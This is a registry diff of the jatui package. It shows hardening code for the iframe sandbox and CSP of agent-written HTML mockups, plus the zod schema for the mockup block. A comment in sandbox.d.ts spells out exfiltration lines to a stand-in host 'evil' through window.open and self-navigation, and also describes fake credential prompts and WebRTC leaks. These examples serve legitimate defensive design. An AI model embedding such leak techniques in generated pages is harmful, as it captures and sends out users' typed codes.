@joewinke/jatui 0.37.0 → 0.38.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (266) hide show
  1. package/dist/artifact-blocks/AttachmentChip.svelte +66 -0
  2. package/dist/artifact-blocks/AttachmentChip.svelte.d.ts +7 -0
  3. package/dist/artifact-blocks/BlockComments.svelte +309 -0
  4. package/dist/artifact-blocks/BlockComments.svelte.d.ts +33 -0
  5. package/dist/artifact-blocks/BlockRenderer.svelte +674 -0
  6. package/dist/artifact-blocks/BlockRenderer.svelte.d.ts +55 -0
  7. package/dist/artifact-blocks/BlockVerdict.svelte +151 -0
  8. package/dist/artifact-blocks/BlockVerdict.svelte.d.ts +13 -0
  9. package/dist/artifact-blocks/BlocksArtifactView.svelte +1616 -0
  10. package/dist/artifact-blocks/BlocksArtifactView.svelte.d.ts +113 -0
  11. package/dist/artifact-blocks/CONTRACT.md +245 -0
  12. package/dist/artifact-blocks/CommentPill.svelte +49 -0
  13. package/dist/artifact-blocks/CommentPill.svelte.d.ts +16 -0
  14. package/dist/artifact-blocks/FoldedRounds.svelte +95 -0
  15. package/dist/artifact-blocks/FoldedRounds.svelte.d.ts +9 -0
  16. package/dist/artifact-blocks/Glyph.svelte +54 -0
  17. package/dist/artifact-blocks/Glyph.svelte.d.ts +10 -0
  18. package/dist/artifact-blocks/HistoryScrubber.svelte +500 -0
  19. package/dist/artifact-blocks/HistoryScrubber.svelte.d.ts +15 -0
  20. package/dist/artifact-blocks/Markdown.svelte +186 -0
  21. package/dist/artifact-blocks/Markdown.svelte.d.ts +30 -0
  22. package/dist/artifact-blocks/NoteComposer.svelte +31 -0
  23. package/dist/artifact-blocks/NoteComposer.svelte.d.ts +8 -0
  24. package/dist/artifact-blocks/PlainComposer.svelte +200 -0
  25. package/dist/artifact-blocks/PlainComposer.svelte.d.ts +15 -0
  26. package/dist/artifact-blocks/SectionTools.svelte +102 -0
  27. package/dist/artifact-blocks/SectionTools.svelte.d.ts +19 -0
  28. package/dist/artifact-blocks/adapter.d.ts +13 -0
  29. package/dist/artifact-blocks/adapter.js +31 -0
  30. package/dist/artifact-blocks/autoSend.d.ts +49 -0
  31. package/dist/artifact-blocks/autoSend.js +103 -0
  32. package/dist/artifact-blocks/blocks/actions/ActionsBlock.svelte +557 -0
  33. package/dist/artifact-blocks/blocks/actions/ActionsBlock.svelte.d.ts +48 -0
  34. package/dist/artifact-blocks/blocks/actions/block.d.ts +8 -0
  35. package/dist/artifact-blocks/blocks/actions/block.js +74 -0
  36. package/dist/artifact-blocks/blocks/actions/requests.d.ts +62 -0
  37. package/dist/artifact-blocks/blocks/actions/requests.js +26 -0
  38. package/dist/artifact-blocks/blocks/actions/schema.d.ts +168 -0
  39. package/dist/artifact-blocks/blocks/actions/schema.js +253 -0
  40. package/dist/artifact-blocks/blocks/callout/CalloutBlock.svelte +779 -0
  41. package/dist/artifact-blocks/blocks/callout/CalloutBlock.svelte.d.ts +40 -0
  42. package/dist/artifact-blocks/blocks/callout/block.d.ts +7 -0
  43. package/dist/artifact-blocks/blocks/callout/block.js +39 -0
  44. package/dist/artifact-blocks/blocks/callout/schema.d.ts +72 -0
  45. package/dist/artifact-blocks/blocks/callout/schema.js +115 -0
  46. package/dist/artifact-blocks/blocks/chart/ChartBlock.svelte +875 -0
  47. package/dist/artifact-blocks/blocks/chart/ChartBlock.svelte.d.ts +59 -0
  48. package/dist/artifact-blocks/blocks/chart/block.d.ts +9 -0
  49. package/dist/artifact-blocks/blocks/chart/block.js +70 -0
  50. package/dist/artifact-blocks/blocks/chart/schema.d.ts +171 -0
  51. package/dist/artifact-blocks/blocks/chart/schema.js +498 -0
  52. package/dist/artifact-blocks/blocks/chart/thumb.d.ts +2 -0
  53. package/dist/artifact-blocks/blocks/chart/thumb.js +201 -0
  54. package/dist/artifact-blocks/blocks/checklist/ChecklistBlock.svelte +1048 -0
  55. package/dist/artifact-blocks/blocks/checklist/ChecklistBlock.svelte.d.ts +16 -0
  56. package/dist/artifact-blocks/blocks/checklist/Icon.svelte +105 -0
  57. package/dist/artifact-blocks/blocks/checklist/Icon.svelte.d.ts +17 -0
  58. package/dist/artifact-blocks/blocks/checklist/block.d.ts +10 -0
  59. package/dist/artifact-blocks/blocks/checklist/block.js +63 -0
  60. package/dist/artifact-blocks/blocks/checklist/itemReview.d.ts +16 -0
  61. package/dist/artifact-blocks/blocks/checklist/itemReview.js +63 -0
  62. package/dist/artifact-blocks/blocks/checklist/labels.d.ts +62 -0
  63. package/dist/artifact-blocks/blocks/checklist/labels.js +96 -0
  64. package/dist/artifact-blocks/blocks/checklist/retest.d.ts +43 -0
  65. package/dist/artifact-blocks/blocks/checklist/retest.js +68 -0
  66. package/dist/artifact-blocks/blocks/checklist/schema.d.ts +84 -0
  67. package/dist/artifact-blocks/blocks/checklist/schema.js +91 -0
  68. package/dist/artifact-blocks/blocks/code/CodeBlock.svelte +128 -0
  69. package/dist/artifact-blocks/blocks/code/CodeBlock.svelte.d.ts +12 -0
  70. package/dist/artifact-blocks/blocks/code/block.d.ts +8 -0
  71. package/dist/artifact-blocks/blocks/code/block.js +31 -0
  72. package/dist/artifact-blocks/blocks/code/highlight.d.ts +34 -0
  73. package/dist/artifact-blocks/blocks/code/highlight.js +280 -0
  74. package/dist/artifact-blocks/blocks/code/schema.d.ts +32 -0
  75. package/dist/artifact-blocks/blocks/code/schema.js +39 -0
  76. package/dist/artifact-blocks/blocks/collage/CollageBlock.svelte +290 -0
  77. package/dist/artifact-blocks/blocks/collage/CollageBlock.svelte.d.ts +29 -0
  78. package/dist/artifact-blocks/blocks/collage/block.d.ts +9 -0
  79. package/dist/artifact-blocks/blocks/collage/block.js +29 -0
  80. package/dist/artifact-blocks/blocks/collage/schema.d.ts +52 -0
  81. package/dist/artifact-blocks/blocks/collage/schema.js +86 -0
  82. package/dist/artifact-blocks/blocks/compare/CompareBlock.svelte +484 -0
  83. package/dist/artifact-blocks/blocks/compare/CompareBlock.svelte.d.ts +25 -0
  84. package/dist/artifact-blocks/blocks/compare/block.d.ts +9 -0
  85. package/dist/artifact-blocks/blocks/compare/block.js +32 -0
  86. package/dist/artifact-blocks/blocks/compare/schema.d.ts +74 -0
  87. package/dist/artifact-blocks/blocks/compare/schema.js +148 -0
  88. package/dist/artifact-blocks/blocks/diagram/DiagramBlock.svelte +392 -0
  89. package/dist/artifact-blocks/blocks/diagram/DiagramBlock.svelte.d.ts +30 -0
  90. package/dist/artifact-blocks/blocks/diagram/block.d.ts +9 -0
  91. package/dist/artifact-blocks/blocks/diagram/block.js +50 -0
  92. package/dist/artifact-blocks/blocks/diagram/constants.d.ts +48 -0
  93. package/dist/artifact-blocks/blocks/diagram/constants.js +53 -0
  94. package/dist/artifact-blocks/blocks/diagram/schema.d.ts +161 -0
  95. package/dist/artifact-blocks/blocks/diagram/schema.js +621 -0
  96. package/dist/artifact-blocks/blocks/diagram/thumb.d.ts +2 -0
  97. package/dist/artifact-blocks/blocks/diagram/thumb.js +157 -0
  98. package/dist/artifact-blocks/blocks/diagram/types.d.ts +74 -0
  99. package/dist/artifact-blocks/blocks/diagram/types.js +1 -0
  100. package/dist/artifact-blocks/blocks/diff/DiffBlock.svelte +81 -0
  101. package/dist/artifact-blocks/blocks/diff/DiffBlock.svelte.d.ts +10 -0
  102. package/dist/artifact-blocks/blocks/diff/block.d.ts +7 -0
  103. package/dist/artifact-blocks/blocks/diff/block.js +36 -0
  104. package/dist/artifact-blocks/blocks/diff/schema.d.ts +18 -0
  105. package/dist/artifact-blocks/blocks/diff/schema.js +35 -0
  106. package/dist/artifact-blocks/blocks/diff-review/DiffReviewBlock.svelte +1055 -0
  107. package/dist/artifact-blocks/blocks/diff-review/DiffReviewBlock.svelte.d.ts +5 -0
  108. package/dist/artifact-blocks/blocks/diff-review/block.d.ts +15 -0
  109. package/dist/artifact-blocks/blocks/diff-review/block.js +64 -0
  110. package/dist/artifact-blocks/blocks/diff-review/decisions.d.ts +57 -0
  111. package/dist/artifact-blocks/blocks/diff-review/decisions.js +80 -0
  112. package/dist/artifact-blocks/blocks/diff-review/schema.d.ts +13 -0
  113. package/dist/artifact-blocks/blocks/diff-review/schema.js +84 -0
  114. package/dist/artifact-blocks/blocks/diff-review/types.d.ts +35 -0
  115. package/dist/artifact-blocks/blocks/diff-review/types.js +1 -0
  116. package/dist/artifact-blocks/blocks/explainer/ExplainerBlock.svelte +145 -0
  117. package/dist/artifact-blocks/blocks/explainer/ExplainerBlock.svelte.d.ts +5 -0
  118. package/dist/artifact-blocks/blocks/explainer/block.d.ts +8 -0
  119. package/dist/artifact-blocks/blocks/explainer/block.js +21 -0
  120. package/dist/artifact-blocks/blocks/explainer/schema.d.ts +26 -0
  121. package/dist/artifact-blocks/blocks/explainer/schema.js +69 -0
  122. package/dist/artifact-blocks/blocks/group-content.d.ts +10 -0
  123. package/dist/artifact-blocks/blocks/group-content.js +16 -0
  124. package/dist/artifact-blocks/blocks/group-data.d.ts +10 -0
  125. package/dist/artifact-blocks/blocks/group-data.js +7 -0
  126. package/dist/artifact-blocks/blocks/group-review.d.ts +10 -0
  127. package/dist/artifact-blocks/blocks/group-review.js +12 -0
  128. package/dist/artifact-blocks/blocks/group-visual.d.ts +17 -0
  129. package/dist/artifact-blocks/blocks/group-visual.js +14 -0
  130. package/dist/artifact-blocks/blocks/map/MapBlock.svelte +413 -0
  131. package/dist/artifact-blocks/blocks/map/MapBlock.svelte.d.ts +53 -0
  132. package/dist/artifact-blocks/blocks/map/block.d.ts +9 -0
  133. package/dist/artifact-blocks/blocks/map/block.js +62 -0
  134. package/dist/artifact-blocks/blocks/map/schema.d.ts +123 -0
  135. package/dist/artifact-blocks/blocks/map/schema.js +113 -0
  136. package/dist/artifact-blocks/blocks/map/thumb.d.ts +2 -0
  137. package/dist/artifact-blocks/blocks/map/thumb.js +69 -0
  138. package/dist/artifact-blocks/blocks/markdown/MarkdownBlock.svelte +33 -0
  139. package/dist/artifact-blocks/blocks/markdown/MarkdownBlock.svelte.d.ts +15 -0
  140. package/dist/artifact-blocks/blocks/markdown/block.d.ts +7 -0
  141. package/dist/artifact-blocks/blocks/markdown/block.js +28 -0
  142. package/dist/artifact-blocks/blocks/markdown/render.d.ts +17 -0
  143. package/dist/artifact-blocks/blocks/markdown/render.js +115 -0
  144. package/dist/artifact-blocks/blocks/markdown/schema.d.ts +10 -0
  145. package/dist/artifact-blocks/blocks/markdown/schema.js +23 -0
  146. package/dist/artifact-blocks/blocks/media-picker/MediaPickerBlock.svelte +2112 -0
  147. package/dist/artifact-blocks/blocks/media-picker/MediaPickerBlock.svelte.d.ts +5 -0
  148. package/dist/artifact-blocks/blocks/media-picker/block.d.ts +24 -0
  149. package/dist/artifact-blocks/blocks/media-picker/block.js +137 -0
  150. package/dist/artifact-blocks/blocks/media-picker/choices.d.ts +28 -0
  151. package/dist/artifact-blocks/blocks/media-picker/choices.js +35 -0
  152. package/dist/artifact-blocks/blocks/media-picker/decisions.d.ts +51 -0
  153. package/dist/artifact-blocks/blocks/media-picker/decisions.js +75 -0
  154. package/dist/artifact-blocks/blocks/media-picker/schema.d.ts +7 -0
  155. package/dist/artifact-blocks/blocks/media-picker/schema.js +199 -0
  156. package/dist/artifact-blocks/blocks/media-picker/types.d.ts +92 -0
  157. package/dist/artifact-blocks/blocks/media-picker/types.js +1 -0
  158. package/dist/artifact-blocks/blocks/media-picker/versions.d.ts +51 -0
  159. package/dist/artifact-blocks/blocks/media-picker/versions.js +118 -0
  160. package/dist/artifact-blocks/blocks/mockup/MockupBlock.svelte +247 -0
  161. package/dist/artifact-blocks/blocks/mockup/MockupBlock.svelte.d.ts +5 -0
  162. package/dist/artifact-blocks/blocks/mockup/block.d.ts +27 -0
  163. package/dist/artifact-blocks/blocks/mockup/block.js +52 -0
  164. package/dist/artifact-blocks/blocks/mockup/doc.d.ts +39 -0
  165. package/dist/artifact-blocks/blocks/mockup/doc.js +65 -0
  166. package/dist/artifact-blocks/blocks/mockup/sandbox.d.ts +98 -0
  167. package/dist/artifact-blocks/blocks/mockup/sandbox.js +63 -0
  168. package/dist/artifact-blocks/blocks/mockup/schema.d.ts +7 -0
  169. package/dist/artifact-blocks/blocks/mockup/schema.js +90 -0
  170. package/dist/artifact-blocks/blocks/mockup/types.d.ts +36 -0
  171. package/dist/artifact-blocks/blocks/mockup/types.js +17 -0
  172. package/dist/artifact-blocks/blocks/program/ProgramBlock.svelte +359 -0
  173. package/dist/artifact-blocks/blocks/program/ProgramBlock.svelte.d.ts +32 -0
  174. package/dist/artifact-blocks/blocks/program/block.d.ts +35 -0
  175. package/dist/artifact-blocks/blocks/program/block.js +68 -0
  176. package/dist/artifact-blocks/blocks/program/schema.d.ts +132 -0
  177. package/dist/artifact-blocks/blocks/program/schema.js +268 -0
  178. package/dist/artifact-blocks/blocks/stats/StatsBlock.svelte +315 -0
  179. package/dist/artifact-blocks/blocks/stats/StatsBlock.svelte.d.ts +24 -0
  180. package/dist/artifact-blocks/blocks/stats/block.d.ts +7 -0
  181. package/dist/artifact-blocks/blocks/stats/block.js +49 -0
  182. package/dist/artifact-blocks/blocks/stats/schema.d.ts +82 -0
  183. package/dist/artifact-blocks/blocks/stats/schema.js +43 -0
  184. package/dist/artifact-blocks/blocks/stats/thumb.d.ts +2 -0
  185. package/dist/artifact-blocks/blocks/stats/thumb.js +102 -0
  186. package/dist/artifact-blocks/blocks/table/TableBlock.svelte +490 -0
  187. package/dist/artifact-blocks/blocks/table/TableBlock.svelte.d.ts +28 -0
  188. package/dist/artifact-blocks/blocks/table/block.d.ts +9 -0
  189. package/dist/artifact-blocks/blocks/table/block.js +100 -0
  190. package/dist/artifact-blocks/blocks/table/schema.d.ts +143 -0
  191. package/dist/artifact-blocks/blocks/table/schema.js +278 -0
  192. package/dist/artifact-blocks/blocks/timeline/TimelineBlock.svelte +347 -0
  193. package/dist/artifact-blocks/blocks/timeline/TimelineBlock.svelte.d.ts +42 -0
  194. package/dist/artifact-blocks/blocks/timeline/block.d.ts +9 -0
  195. package/dist/artifact-blocks/blocks/timeline/block.js +96 -0
  196. package/dist/artifact-blocks/blocks/timeline/constants.d.ts +26 -0
  197. package/dist/artifact-blocks/blocks/timeline/constants.js +27 -0
  198. package/dist/artifact-blocks/blocks/timeline/schema.d.ts +102 -0
  199. package/dist/artifact-blocks/blocks/timeline/schema.js +405 -0
  200. package/dist/artifact-blocks/blocks/timeline/thumb.d.ts +2 -0
  201. package/dist/artifact-blocks/blocks/timeline/thumb.js +117 -0
  202. package/dist/artifact-blocks/blocks/timeline/types.d.ts +66 -0
  203. package/dist/artifact-blocks/blocks/timeline/types.js +1 -0
  204. package/dist/artifact-blocks/blocks/transcript/TranscriptBlock.svelte +169 -0
  205. package/dist/artifact-blocks/blocks/transcript/TranscriptBlock.svelte.d.ts +26 -0
  206. package/dist/artifact-blocks/blocks/transcript/block.d.ts +9 -0
  207. package/dist/artifact-blocks/blocks/transcript/block.js +86 -0
  208. package/dist/artifact-blocks/blocks/transcript/schema.d.ts +114 -0
  209. package/dist/artifact-blocks/blocks/transcript/schema.js +126 -0
  210. package/dist/artifact-blocks/builtins.d.ts +40 -0
  211. package/dist/artifact-blocks/builtins.js +22 -0
  212. package/dist/artifact-blocks/contractBlocks.d.ts +92 -0
  213. package/dist/artifact-blocks/contractBlocks.js +279 -0
  214. package/dist/artifact-blocks/history.d.ts +140 -0
  215. package/dist/artifact-blocks/history.js +363 -0
  216. package/dist/artifact-blocks/index.d.ts +40 -0
  217. package/dist/artifact-blocks/index.js +46 -0
  218. package/dist/artifact-blocks/listen/context.d.ts +30 -0
  219. package/dist/artifact-blocks/listen/context.js +30 -0
  220. package/dist/artifact-blocks/liveData.d.ts +78 -0
  221. package/dist/artifact-blocks/liveData.js +137 -0
  222. package/dist/artifact-blocks/liveDataPoller.d.ts +41 -0
  223. package/dist/artifact-blocks/liveDataPoller.js +140 -0
  224. package/dist/artifact-blocks/openNav.d.ts +46 -0
  225. package/dist/artifact-blocks/openNav.js +106 -0
  226. package/dist/artifact-blocks/pageReviewKeys.d.ts +17 -0
  227. package/dist/artifact-blocks/pageReviewKeys.js +115 -0
  228. package/dist/artifact-blocks/params.d.ts +98 -0
  229. package/dist/artifact-blocks/params.js +159 -0
  230. package/dist/artifact-blocks/registry.d.ts +27 -0
  231. package/dist/artifact-blocks/registry.js +83 -0
  232. package/dist/artifact-blocks/review/BlockIcon.svelte +99 -0
  233. package/dist/artifact-blocks/review/BlockIcon.svelte.d.ts +17 -0
  234. package/dist/artifact-blocks/review/BulkRejectForm.svelte +94 -0
  235. package/dist/artifact-blocks/review/BulkRejectForm.svelte.d.ts +11 -0
  236. package/dist/artifact-blocks/review/BulkUndoBar.svelte +40 -0
  237. package/dist/artifact-blocks/review/BulkUndoBar.svelte.d.ts +9 -0
  238. package/dist/artifact-blocks/review/ItemNote.svelte +193 -0
  239. package/dist/artifact-blocks/review/ItemNote.svelte.d.ts +33 -0
  240. package/dist/artifact-blocks/review/NoteToggle.svelte +52 -0
  241. package/dist/artifact-blocks/review/NoteToggle.svelte.d.ts +12 -0
  242. package/dist/artifact-blocks/review/TeamChip.svelte +71 -0
  243. package/dist/artifact-blocks/review/TeamChip.svelte.d.ts +8 -0
  244. package/dist/artifact-blocks/review/attachments.d.ts +10 -0
  245. package/dist/artifact-blocks/review/attachments.js +37 -0
  246. package/dist/artifact-blocks/review/bulk.d.ts +52 -0
  247. package/dist/artifact-blocks/review/bulk.js +61 -0
  248. package/dist/artifact-blocks/review/itemReview.d.ts +33 -0
  249. package/dist/artifact-blocks/review/itemReview.js +112 -0
  250. package/dist/artifact-blocks/review/roundLines.d.ts +14 -0
  251. package/dist/artifact-blocks/review/roundLines.js +20 -0
  252. package/dist/artifact-blocks/review/rounds.d.ts +86 -0
  253. package/dist/artifact-blocks/review/rounds.js +302 -0
  254. package/dist/artifact-blocks/review/saver.d.ts +23 -0
  255. package/dist/artifact-blocks/review/saver.js +48 -0
  256. package/dist/artifact-blocks/review/team.d.ts +31 -0
  257. package/dist/artifact-blocks/review/team.js +42 -0
  258. package/dist/artifact-blocks/review/visualOrder.d.ts +29 -0
  259. package/dist/artifact-blocks/review/visualOrder.js +66 -0
  260. package/dist/artifact-blocks/review.d.ts +180 -0
  261. package/dist/artifact-blocks/review.js +716 -0
  262. package/dist/artifact-blocks/thumb-kit.d.ts +80 -0
  263. package/dist/artifact-blocks/thumb-kit.js +149 -0
  264. package/dist/artifact-blocks/types.d.ts +522 -0
  265. package/dist/artifact-blocks/types.js +1 -0
  266. package/package.json +11 -2
@@ -0,0 +1,98 @@
1
+ /**
2
+ * The mockup frame's `sandbox` attribute and the CSP its scripted document
3
+ * carries (origin: MOS src/lib/modules/artifacts/sandbox.ts
4
+ * artifactSandboxAttr, bad16b324; scripted hardening ported from jat
5
+ * ide/src/lib/server/artifacts/sandboxPolicy.ts, jat-4yffn).
6
+ *
7
+ * Each variant is agent-authored HTML in an iframe `srcdoc`. The sandbox puts
8
+ * it in an OPAQUE origin: no session, no cookies, no parent DOM. That only
9
+ * holds while `allow-same-origin` is absent — srcdoc with scripts +
10
+ * same-origin is the one combination that defeats it — so this module never
11
+ * emits it, and strips it from a host override too. Top navigation is never
12
+ * granted either: a mockup may not replace the page it sits in.
13
+ *
14
+ * ## Script-free mockups (unchanged)
15
+ *
16
+ * `allow-popups` + `allow-popups-to-escape-sandbox`: a link in a mockup that
17
+ * opens a new tab lands on a normal page, not a sandboxed one. A host may
18
+ * widen or narrow that list with `services.sandboxAttr` (a string, or a
19
+ * function of allowScripts); the never-tokens and `allow-scripts` are removed
20
+ * from whatever it returns.
21
+ *
22
+ * ## Scripted mockups (`allowScripts: true`) — jat-4yffn
23
+ *
24
+ * The opaque origin keeps agent JavaScript away from the session, but not
25
+ * away from the HUMAN looking at it: a script can draw a fake "confirm it's
26
+ * you" box, capture a typed code, and get it out. So a scripted frame is
27
+ * `sandbox="allow-scripts"` and nothing else, and its document carries
28
+ * MOCKUP_SCRIPTED_CSP (see ./doc.ts):
29
+ *
30
+ * - no popups at all — `window.open('https://evil/?c=CODE')` leaks the code
31
+ * in the URL whether or not the popup escapes the sandbox. Links that
32
+ * open a new tab therefore do not open; that is the trade.
33
+ * - `img-src data:` / `media-src data:` — an image or media fetch is a
34
+ * beacon `connect-src 'none'` does not cover.
35
+ * - `x-dns-prefetch-control: off` — a prefetched hostname is a DNS beacon
36
+ * outside every fetch directive.
37
+ *
38
+ * A host may NARROW a scripted frame with `services.sandboxAttr` (returning
39
+ * "" turns scripts off) but never widen it: only `allow-scripts` survives.
40
+ * MockupBlock draws a "runs scripts" notice in the parent page, outside the
41
+ * frame, so the label is chrome the script cannot reach.
42
+ *
43
+ * ## What the host must assert, and what nobody can close
44
+ *
45
+ * - Self-navigation (jatui-2qhbr): a sandboxed document may always navigate
46
+ * its OWN frame (`location = 'https://evil/?c=CODE'`, or a meta refresh),
47
+ * and nothing in its CSP can stop that. Only the PARENT's CSP can: an
48
+ * ENFORCED `frame-src 'self'` (or narrower) on the host page — the browser
49
+ * checks it on every navigation of the child frame, while the initial
50
+ * srcdoc load is not subject to it. Two near-misses both leak (verified in
51
+ * Chromium against mos): `frame-src 'self' https:` (any https URL is a
52
+ * valid target) and a Report-Only policy (reports, never blocks). jatui
53
+ * cannot read the parent's response headers, so this is a CHECKED
54
+ * precondition instead of advice: the host asserts it with
55
+ * `services.framePolicy = { frameSrcSelfEnforced: true }`, and a scripted
56
+ * mockup runs scripts ONLY under that assertion (mockupScriptsAllowed).
57
+ * Without it the mockup degrades to script-free and MockupBlock says so.
58
+ * - WebRTC: an RTCPeerConnection to an attacker's STUN/TURN server gets
59
+ * packets out, and no shipped CSP directive governs it. That is why the
60
+ * notice exists and why a real credential prompt belongs to the host page,
61
+ * never inside a frame.
62
+ *
63
+ * - Script-free mockups are NOT beacon-free, by design: they load remote
64
+ * images and may open (sandbox-escaping) popups, so an author can learn
65
+ * that, and roughly when, a mockup was viewed. They cannot capture input
66
+ * (no scripts), so nothing typed into them leaves the frame.
67
+ *
68
+ * jat's raw-route gate (Sec-Fetch-Dest/Site) has no counterpart here: a
69
+ * srcdoc frame has no URL that could be opened full-window without the
70
+ * notice.
71
+ */
72
+ export type SandboxAttrService = string | ((allowScripts: boolean) => string);
73
+ /**
74
+ * The host's assertion about its OWN page CSP (`services.framePolicy`,
75
+ * jatui-2qhbr). `frameSrcSelfEnforced: true` claims the page that renders
76
+ * blocks is served with an ENFORCED (not Report-Only) `frame-src 'self'` —
77
+ * or narrower — and no `https:`/`*` source in it. Assert it only when that
78
+ * header is really sent on every route that renders artifact blocks.
79
+ */
80
+ export interface FramePolicyService {
81
+ frameSrcSelfEnforced?: boolean;
82
+ }
83
+ /**
84
+ * Whether a mockup that ASKED for scripts may run them: only when the host
85
+ * asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
86
+ * or a missing service is no assertion). Otherwise it degrades to
87
+ * script-free, which closes self-navigation (no script, and a sandbox without
88
+ * allow-scripts blocks meta refresh) at the cost of interactivity.
89
+ */
90
+ export declare function mockupScriptsAllowed(requested: boolean, framePolicy?: unknown): boolean;
91
+ /**
92
+ * The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
93
+ * see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
94
+ * meta policy cannot express (sandbox, frame-ancestors) — the iframe's
95
+ * sandbox attribute covers the former.
96
+ */
97
+ export declare const MOCKUP_SCRIPTED_CSP: string;
98
+ export declare function mockupSandboxAttr(allowScripts: boolean, override?: unknown): string;
@@ -0,0 +1,63 @@
1
+ /**
2
+ * Whether a mockup that ASKED for scripts may run them: only when the host
3
+ * asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
4
+ * or a missing service is no assertion). Otherwise it degrades to
5
+ * script-free, which closes self-navigation (no script, and a sandbox without
6
+ * allow-scripts blocks meta refresh) at the cost of interactivity.
7
+ */
8
+ export function mockupScriptsAllowed(requested, framePolicy) {
9
+ return (requested === true &&
10
+ typeof framePolicy === "object" &&
11
+ framePolicy !== null &&
12
+ framePolicy.frameSrcSelfEnforced === true);
13
+ }
14
+ /** Tokens no mockup frame may ever carry, in either mode. */
15
+ const NEVER = new Set([
16
+ "allow-same-origin",
17
+ "allow-top-navigation",
18
+ "allow-top-navigation-by-user-activation",
19
+ ]);
20
+ /** The only token a scripted frame may carry; a host override is intersected with it. */
21
+ const SCRIPTED_ALLOWED = new Set(["allow-scripts"]);
22
+ /**
23
+ * The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
24
+ * see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
25
+ * meta policy cannot express (sandbox, frame-ancestors) — the iframe's
26
+ * sandbox attribute covers the former.
27
+ */
28
+ export const MOCKUP_SCRIPTED_CSP = [
29
+ "default-src 'none'",
30
+ "script-src 'unsafe-inline' 'unsafe-eval'",
31
+ "style-src 'unsafe-inline' https://fonts.googleapis.com",
32
+ "font-src data: https://fonts.gstatic.com",
33
+ "img-src data:",
34
+ "media-src data:",
35
+ "connect-src 'none'",
36
+ "form-action 'none'",
37
+ "base-uri 'none'",
38
+ ].join("; ");
39
+ export function mockupSandboxAttr(allowScripts, override) {
40
+ let raw;
41
+ if (typeof override === "function") {
42
+ const v = override(allowScripts);
43
+ raw = typeof v === "string" ? v : defaultTokens(allowScripts);
44
+ }
45
+ else if (typeof override === "string") {
46
+ raw = override;
47
+ }
48
+ else {
49
+ raw = defaultTokens(allowScripts);
50
+ }
51
+ const tokens = raw
52
+ .split(/\s+/)
53
+ .map((t) => t.trim().toLowerCase())
54
+ .filter(Boolean)
55
+ .filter((t) => !NEVER.has(t))
56
+ .filter((t) => allowScripts ? SCRIPTED_ALLOWED.has(t) : t !== "allow-scripts");
57
+ return [...new Set(tokens)].join(" ");
58
+ }
59
+ function defaultTokens(allowScripts) {
60
+ return allowScripts
61
+ ? "allow-scripts"
62
+ : "allow-popups allow-popups-to-escape-sandbox";
63
+ }
@@ -0,0 +1,7 @@
1
+ /**
2
+ * Params schema for the mockup block (agent HTML in sandboxed device frames).
3
+ * Imported by block.ts (def) and the tests — keeps them cycle-free.
4
+ */
5
+ import { z } from "zod";
6
+ import type { MockupParams } from "./types.js";
7
+ export declare const mockupSchema: z.ZodType<MockupParams>;
@@ -0,0 +1,90 @@
1
+ /**
2
+ * Params schema for the mockup block (agent HTML in sandboxed device frames).
3
+ * Imported by block.ts (def) and the tests — keeps them cycle-free.
4
+ */
5
+ import { z } from "zod";
6
+ /**
7
+ * Block-level `device` is author shorthand (mos-659rz): `device: "desktop"`
8
+ * on the params means "every variant that does not name its own device
9
+ * renders as desktop". It is not a MockupParams field, so zod would
10
+ * otherwise silently strip it — the Pilot's shorthand passed validation while
11
+ * the device intent never reached the renderer. Inherit it into device-less
12
+ * variants BEFORE parsing (so the variant default never preempts it), copy
13
+ * the objects (never mutate the caller's input — publish stores the spec
14
+ * verbatim), and drop the block-level key. A variant's own device wins; a
15
+ * non-enum shorthand value falls through to the variant enum and is
16
+ * rejected loudly, like any other bad device.
17
+ */
18
+ function inheritBlockDevice(raw) {
19
+ if (typeof raw !== "object" || raw === null)
20
+ return raw;
21
+ const params = { ...raw };
22
+ const shorthand = params.device;
23
+ if (typeof shorthand !== "string" || !Array.isArray(params.variants))
24
+ return params;
25
+ delete params.device;
26
+ params.variants = params.variants.map((v) => typeof v === "object" &&
27
+ v !== null &&
28
+ v.device === undefined
29
+ ? { ...v, device: shorthand }
30
+ : v);
31
+ return params;
32
+ }
33
+ const ID_RE = /^[a-z0-9][a-z0-9_-]{0,63}$/;
34
+ const idSchema = z
35
+ .string()
36
+ .regex(ID_RE, "id must be lowercase a-z0-9_- (max 64, leading a-z0-9)");
37
+ /** Per-variant HTML cap — a device-frame mockup is chrome + layout, not data. */
38
+ const MAX_VARIANT_HTML_BYTES = 48 * 1024;
39
+ /** Whole-block HTML budget — the contract's ~256KB-per-block params cap. */
40
+ const MAX_TOTAL_HTML_BYTES = 256 * 1024;
41
+ const MAX_VARIANTS = 6;
42
+ function utf8Bytes(s) {
43
+ return new TextEncoder().encode(s).length;
44
+ }
45
+ const variantSchema = z.object({
46
+ id: idSchema,
47
+ label: z.string().max(80).optional(),
48
+ device: z.enum(["phone", "tablet", "desktop"]).default("phone"),
49
+ html: z
50
+ .string()
51
+ .min(1, "html is required")
52
+ .refine((h) => utf8Bytes(h) <= MAX_VARIANT_HTML_BYTES, `html exceeds ${Math.round(MAX_VARIANT_HTML_BYTES / 1024)}KB per variant`),
53
+ });
54
+ const mockupSchemaBase = z
55
+ .object({
56
+ title: z.string().max(200).optional(),
57
+ intro: z.string().max(2000).optional(),
58
+ /** Allow scripts inside the sandboxed frame. Default false. */
59
+ allowScripts: z.boolean().default(false),
60
+ variants: z
61
+ .array(variantSchema)
62
+ .min(1, "at least one variant")
63
+ .max(MAX_VARIANTS),
64
+ })
65
+ .check((ctx) => {
66
+ const value = ctx.value;
67
+ const ids = new Set();
68
+ let total = 0;
69
+ value.variants.forEach((v, i) => {
70
+ if (ids.has(v.id)) {
71
+ ctx.issues.push({
72
+ code: "custom",
73
+ input: v,
74
+ path: ["variants", i, "id"],
75
+ message: `duplicate variant id "${v.id}"`,
76
+ });
77
+ }
78
+ ids.add(v.id);
79
+ total += utf8Bytes(v.html);
80
+ if (total > MAX_TOTAL_HTML_BYTES) {
81
+ ctx.issues.push({
82
+ code: "custom",
83
+ input: v,
84
+ path: ["variants", i, "html"],
85
+ message: `html exceeds the ${Math.round(MAX_TOTAL_HTML_BYTES / 1024)}KB whole-block budget`,
86
+ });
87
+ }
88
+ });
